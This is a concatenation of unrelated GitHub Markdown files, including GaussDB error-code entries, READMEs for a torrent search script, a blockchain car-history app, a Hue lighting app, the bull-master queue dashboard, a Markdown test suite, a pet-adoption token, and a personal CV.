Docsify and some Markdown viewers supports mixing HTML and Markdown elements in the same document. There must be a blank line between the two formats.
```
<center>

  ![](../img/goals.png)

</center>
```
Note the blank line between the `<center>` HTML tag and the `![](../img/goals.png)` Markdown tag.

repository: syllogy/backstage-project-templates

repo_name: syllogy/backstage-project-templates


text:
# GAUSS-05071 -- GAUSS-05080

GAUSS-05071: "'%s' can't outer join with more than one relation"

SQLSTATE: 42601

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05072: "Operator '\(+\)' and Join in FromClause can't be used together"

SQLSTATE: 42601

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05073: "Operator '\(+\)' is not allowed used with 'OR' together"

SQLSTATE: 42601

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05074: "Operator '\(+\)' transform failed."

SQLSTATE: 0A000

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05075: "'%s' is not allowed to outer join with itself."

SQLSTATE: 42601

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05076: "Operator '\(+\)' can not be used in outer join with SubQuery."

SQLSTATE: 42601

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05077: "Operator '\(+\)' can not be used in nesting expression."

SQLSTATE: 42601

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05078: "unrecognized A\_Expr kind: %d used"

SQLSTATE: XX004

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05079: "INSERT ON DUPLICATE KEY UPDATE is not supported on column orientated table."

SQLSTATE: 0A000

Description: Internal system error.

Solution:Contact technical support.

GAUSS-05080: "INSERT ON DUPLICATE KEY UPDATE is not supported on foreign table."

SQLSTATE: 0A000

Description: Internal system error.

Solution:Contact technical support.


text:
# torrent9 explorer

![Python](https://www.python.org/static/community_logos/python-logo-master-v3-TM.png)

This python script makes it possible to make researches on the website of torrents, "torrent9" and then the downloaded ones.
You can search everything, series, movies, musics, ebooks, pc-games, etc...

## Setup && Requierments
* Python 3.3 and up needed
Install the requirements
```$ pip install cmd2```
And now start the bootstrap.py into shell
```$ python bootstrap.py ```
### Basic commands
``` help``` to list all the commands
``` search ``` to make a search on website
```downloadlist ``` to download the id who want be downloaded
# Command exemple :
To search somthing : ```search "one piece" -limit 20 -stack 100```
To download : ```downloadlist 99,100,98,72-75```
###### Searching:
```python
t9explore $> search "the flash"
t9explore $> search "arrow" -limit 28 -stack 100
t9explore $> search "blindspot" -cut 150 -limit 30
```
| Arguments |                                         Description                                         | Default values | Minimum Values | required |
|:---------:|:-------------------------------------------------------------------------------------------:|:--------------:|:--------------:|:--------:|
|   -limit  | Define a search "page" limit, the program will stop analysing next page if limit is reached |        1       |        1       |    no    |
|    -cut   |                         Stop printing items after this limit reached                        |       10       |        1       |    no    |
|   -stack  |   Kind of useless, but it allow you to define the "max item in a page" when printing items  |       100      |        1       |    no    |
###### Downloading:
```python
t9explore $> downloadlist 12
t9explore $> downloadlist 48-52
t9explore $> downloadlist 99,100,98,72-75
```
|            Command Prefix           |                     Id                    |            Description            |
|:-----------------------------------:|:-----------------------------------------:|:---------------------------------:|
|             downloadlist            |                84,65,33-64                | SingleItem,SingleItem,Range-Items |
| Command to download .torrent files  | Ids printed in the cell after the search  | For the range : StartItem-endItem |

![ezgif com-optimize](https://user-images.githubusercontent.com/25646890/42424341-1390d752-830b-11e8-9f81-e4e129fddbc0.gif)
#### Authors

* **Caceres Enzo** - [Caceresenzo](https://github.com/Caceresenzo/)
* **Dorian Hardy** - [thegostisdead](https://github.com/thegostisdead/)


text:
# Getting Started with Dialing Groups

Every campaign lives within a dial group. So the first step to configure outbound dialing is to create a dial group.

The Quick Start guides below will guide you in using our Dialing API to create a dialing group.

##### Choose a Language to Get Started

* [Javascript](./node/)
* [Python](./python/)
* [PHP](./php/)

repository: howie-chen/engage-voice-api-docs

repo_name: howie-chen/engage-voice-api-docs


text:
# 🚘 Car Car-ing Car-ed 🚘
Blockchain-based solution that allows accurate car history records to be stored immutably in a trusted system and be made accessible to everyone. This aims to solve the information asymmetry that exists in the used car market by providing a single source of truth, which is contributed collectively by all actors in the car ecosystem, including car manufacturers, dealers and servicing workshops. With the transparency of car records, we have also incorporated an open marketplace which helps to facilitate the buying and selling of cars.

## Installation
1. Clone repository
2. npm install
```
npm i
```

## Running
1. Run ganache from command line
```
ganache-cli -p 8545
```
2. In a separate terminal, navigate to project directory and run
```
truffle deploy
```
3. Navigate to `/client` subdirectory of project and run
```
npm start
```
4. When the metamask extension pop-up appears on the browser, select to connect to Localhost 8545, then proceed to import account using seed phase as provided in the ganache command line.
5. Allow app access to all accounts.

## Account roles and authorisation on app
For demonstration purposes, below is a list of predefined roles for each account as reflected in metamask extension, and their corresponding login credentials.

The password for all accounts are `12345678`.

> **Account 2** - Car owner
><EMAIL_ADDRESS>>
> **Account 5** - Car owner
><EMAIL_ADDRESS>>
> **Account 6** - Car manufacturer
><EMAIL_ADDRESS>
>
> **Account 8** - Car dealer
><EMAIL_ADDRESS>>
> **Account 9** - Car servicing workshop
><EMAIL_ADDRESS>


text:
ColoredTunes
============

Uses the artwork of the song currently playing in Spotify to change the color of your Philips Hue light bulbs.

## Download

You can clone the repository and build ColoredTunes yourself or you can simply [grab the latest version on the releases page](https://github.com/simonbs/ColoredTunes/releases).

## Usage

When you have start up ColoredTunes for the first time, it will show you the preferences. You will have to connect to your Philips Hue bridge. This is done by pressing "Search for bridge". ColoredTunes should take care of the rest. You might have to press the button on your bridge, though, but the app will tell you so if necessary.

When you have connected to your bridge, you can see your available light bulbs in the *Lights* preferences pane.
Select a light bulb and set one of the following types of colors for the bulb.

- Background Color
- Primary Color
- Secondary Color
- Details Color

These types of colors are calculated using your artwork. I recommend experimenting with them a bit, however, using the background color and the primary color usually produces good results.
You can also set a light bulb to *Inactive* and if you do se, ColoredTunes will not change the color of the light bulb.

Now you are ready to use ColoredTunes! Fire up Spotify and play some smashing tunes!

## Credits

ColoredTunes is developed by [@simonbs](http://twitter.com/simonbs), [simonbs.dk](http://simonbs.dk) Feel free to fork the repository and send pull requests if you have made something awesome.

## License

ColoredTunes is released under the MIT license. Please see the LICENSE file for more information.

repository: FuriouZz/ColoredTunes

repo_name: FuriouZz/ColoredTunes


text:
# bull master [![NPM Version](https://img.shields.io/npm/v/bull-master)](https://www.npmjs.com/package/bull-master) [![NPM Downloads](https://img.shields.io/npm/dw/bull-master)](https://www.npmjs.com/package/bull-master) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com) [![code style: prettier](https://img.shields.io/badge/code_style-prettier-ff69b4.svg?style=flat-square)](https://github.com/prettier/prettier) [![build](https://github.com/hans-lizihan/bull-master/workflows/Node%20CI/badge.svg)](https://github.com/hans-lizihan/bull-master/actions?query=workflow%3A%22Node+CI%22)

![Screen Shot bull-master](https://user-images.githubusercontent.com/7879022/77668840-e8e4ce80-6fbe-11ea-8a35-e65d247e10b6.png)

Bull Dashboard is a UI built on top of [Bull](https://github.com/OptimalBits/bull) to help you visualize your queues and their jobs.
With this library you get a beautiful UI for visualizing what's happening with each job in your queues, their status and some actions that will enable you to get the jobs done.

## Notes

As this library provides only the visualization for your queues, keep in mind that:

- You must have Bull installed in your projects;
- Aside the options to retry and clean jobs, this library is not responsible for processing the jobs, reporting progress or any other thing. This must be done in your application with your own logic;
- If you want to understand the possibilities you have with the queues please refer to [Bull's docs](https://optimalbits.github.io/bull/);
- This library doesn't hijack Bull's way of working.

If you want to learn more about queues and Redis: https://redis.io/.

## Starting

To add it to your project start by adding the library to your dependencies list:

```sh
yarn add bull-master
```

Or

```sh
npm i bull-master
```

## Hello World

The first step is to let bull-board know the queues you have already set up, to do so we use the `queues` option.

```js
// for express
const express = require('express')
const Queue = require('bull')
const bullMaster = require('bull-master')
const app = express()

const someQueue = new Queue()
const someOtherQueue = new Queue()

const bullMasterApp = bullMaster({
  queues: [someQueue, someOtherQueue],
})
// you can get existing queues
bullMasterApp.getQueues()
// you could also choose to change the queues to display in run time
bullMasterApp.setQueues([someQueue])

app.use('/admin/queues', bullMasterApp)

// for koa
const Koa = require('koa')
const Router = require('@koa/router')
const Queue = require('bull')
const bullMaster = require('bull-master')
const app = new Koa()

const someQueue = new Queue()
const someOtherQueue = new Queue()

router.all('/admin/queues*', bullMaster.koa({
  queues: [someQueue, someOtherQueue],
  prefix: '/admin/queues',
}))

app
  .use(router.routes())
  .use(router.allowedMethods())
// other configurations for your server
```

That's it! Now you can access the `/admin/queues` route and you will be able to monitor everything that is happening in your queues 😁

## Contributing

First of all, thank you for being interested in helping out, your time is always appreciated in every way. 💯

Remember to read the [Code of Conduct](https://github.com/hans-lizihan/bull-master/blob/master/CODE_OF_CONDUCT.md) so you also help maintaining a good Open source community around this project!

Here's some tips:

- Check the [issues page](https://github.com/hans-lizihan/bull-master/issues) for already opened issues (or maybe even closed ones) that might already address your question/bug/feature request.
- When opening a bug report provide as much information as you can, some things might be useful for helping debugging and understading the problem
  - Node, Redis, Bull, bull-board versions
  - Sample code that reproduces the problem
  - Some of your environment details
  - Framework you're using (Express, Koa, Hapi, etc).
- Feature requests are welcomed! Provide some details on why it would be helpful for you and others, explain how you're using bull-board and if possible even some screenshots if you are willing to mock something!

## Developing

If you want to help us solving the issues, be it a bug, a feature or a question, you might need to fork and clone this project.

To fork a project means you're going to have your own version of it under your own GitHub profile, you do it by clicking the "Fork" button on the top of any project's page on GitHub.

Cloning a project means downloading it to your local machine, you do it in the command line:

```sh
git clone git@github.com:YOUR_GITHUB_USERNAME/bull-master.git
```

That will create a `bull-master` folder inside the directory you executed the command, so you need to navigate inside it:

```sh
cd bull-master
```

_This project requires that you have [yarn](https://yarnpkg.com/lang/en/) installed_

Also make sure you are running Redis for this project (bull-master's example connects to Redis' default port 6379).

Now, to try it out locally you can run:

```sh
yarn --pure-lockfile
yarn dev:client
yarn dev:server
```

### Acknowledgements ❤

- [Juan](https://github.com/joaomilho) for building the first version of this library
- [Vitor](https://github.com/vcapretz) this project is basically a radical rewrite from Vitor's [bull-board](https://github.com/vcapretz/bull-board) project

# License

This project is licensed under the [MIT License](https://github.com/hans-lizihan/bull-master/blob/master/LICENSE), so it means it's completely free to use and copy, but if you do fork this project with nice additions that we could have here, remember to send a PR 👍

repository: cyrilselasi/bull-master

repo_name: cyrilselasi/bull-master


text:
https://github.com/karlcow/markdown-testsuite

# Colophon - October 1st, 2014

This project was initiated to provide a test suite for Markdown markup, and eventually create a specification from this test results. A part of of the community has started a new endeavor which seems to get traction as [CommonMark](https://github.com/jgm/stmd). **We are then closing this project** and encourage you to contribute to CommonMark.

The most interesting part of this project would not have been possible without the dedication of [Ciro Santilli](https://github.com/cirosantilli) @cirosantilli. So big applause and thank you to him.

The rest is kept around for archives and references.

# Markdown Test Suite

Inspired by questions on [W3C Markdown Community Group](http://www.w3.org/community/markdown).

Pull Requests are welcome. See the [CONTRIBUTING Guidelines](https://github.com/karlcow/markdown-testsuite/blob/master/CONTRIBUTING.md)

## Design goals

- Comprehensive.
- Small modularized tests.
- Easy to run tests using any programming language. In particular, data representations must have an implementation on all major languages.
- Develop a consensus based markdown specification at [markdown-spec.html](markdown-spec.html). Visualize it [here](http://htmlpreview.github.io/?https://github.com/karlcow/markdown-testsuite/blob/master/markdown-spec.html).

## Test Scripts

Markdown Test Suite already includes tests for many important markdown engines.

To see what the scripts do run:

    ./cat-all.py -h
    ./run-tests.py -h

To configure the scripts do:

	cp config_local.py.example config_local.py

and edit `config_local.py`. It is already gitignored.

A `Vagrantfile` is provided with a provision script that installs all installable engines.

## Other Noticeable Test Suites

We haven't been the first test suite effort. Some projects have maintained their own test suite for a long time. Hopefully we can reach a state where people agree on the terms of what should be a good test suite for all developers.

- [Original test suite](http://daringfireball.net/projects/downloads/MarkdownTest_1.0.zip)
- [PHP markdown test suite:](https://github.com/michelf/mdtest/tree/master/Markdown.mdtest)
- [Markdown-js test suite](https://github.com/evilstreak/markdown-js/tree/master/test/features)
- [Python markdown 2 test suite](https://github.com/trentm/python-markdown2/tree/master/test/tm-cases)
- [multimarkdown test suite](https://github.com/fletcher/MMD-Test-Suite)
- [John MacFarlane's Standard Markdown spec](https://github.com/jgm/stmd)

In addition we should note the [wonderful work](http://johnmacfarlane.net/babelmark2/) made by John Mac Farlane. The Web service output the differences in between the different markdown implementations. It helps a lot when searching on the most common output.

repository: gwaredd/UnityMarkdownViewer

repo_name: gwaredd/UnityMarkdownViewer


text:
# PSA_Token

A pet is not an impulse adoption

If you’ve longed for a dog, hankered after a hamster, or craved a cat for as long as you can remember, making that dream come true can be a wonderful thing. However, the idea of getting a pet is very different from actually owning one. Suddenly you’re responsible for providing another living, breathing creature with the right environment, food, training and companionship – and it’s a really big deal.
There are people who don’t have enough money, and there are people who don’t have time and energy.

We can connect them with a smart contract to do the adoption together.

The PSA voting is for the voting functoin.

The PSA contract is deployed in Ethereum Ropsten Test Network, the address of the contract is 0xad43e893a498fb0f73c04848e433d458591e92d7

Will implement the voting function to the Ethereum Ropsten Test Network soon, You can now add PSA Token as Custom Token in MetaMask with the address.


text:
---
layout: cv
title: Amber-Lynn's CV
---
# Amber-Lynn Griffin
Class: Problem-Solver | Method: Code
_______________________________________________________
Summary | Friendly, analytical team-oriented career service specialist with a passion for technical and client-based troubleshooting and servicing people of special populations. Looking for a place with a company that can utilize my expertise as a job trainer and career specialist and in exchange provide an environment of open-learning and professional development.

| My LinkedIn Page

## Currently

Full-stack web development- [Ada Developers Academy](https://www.adadevelopersacademy.org/)

### Specialized in

Massage Therapy - [Cortiva Institute](https://www.cortiva.edu/locations/phoenix/massage-therapy-school/)

### Strong Params

- Collaboration/Peer Programming
- Self-Starter
- Technical Troubleshooting
- HTML
- CSS

## Education

`2018-2019`
__Ada Developers Academy, Seattle, WA.__

#### Tools & Development Processes
- **Languages & Frameworks //** Ruby, Rails, HTML, CSS, Bootstrap, Postgres, Markdown; exposure to Consuming APIs;
- **Tools //** Git, Postman, Heroku
- **OS //** MacOS and Windows
- **Development Processes //** Test Driven Development, Agile, Kanban and Scrum.

`2006-2012`
__Grand Valley State University, MI.__
- Full-Time Student
- received a full-tuition scholarship with courses primarily in audio/video production, public relations, and the Japanese language.

- Bachelor's of Arts, Broadcasting Communications

`2009 Fall Semester`
__Temple University - Japan Campus, Tokyo__

- International Student
- Completed one semester in Tokyo volunteering in elementary schools, learning the Japanese language

## Occupation

`2017-2018`
__Hand & Stone Massage Spa__, Goodyear, AZ

- Licensed Massage Therapist
- High Energy Massage Therapy with a range of knowledge on Massage Therapy. Able to relate well to staff and clients, alike.
- Excels at client-relations and a variety of massage techniques.

`2014 - 2018`
__Western Maricopa Education Center__, Glendale, AZ

- Lead Job Coach
- Assist in all student services processes including; mentoring, academic advisement, recruitment and retention
- Provide information to students, parents and supervisors regarding various students' progression in
- warehouse internship program
- Corresponds with students, their parents, and internship supervisors to resolve problems related to student service functions
- Prepares daily and monthly activity/progress reports

`2014 - 2016`
__Massage Envy__, Temple, AZ

- Licensed Massage Therapist
- Full-Time Licensed Massage Therapist with a focus on Deep-Tissue and Trigger Point Therapy

repository: griffifam/markdown-cv

repo_name: griffifam/markdown-cv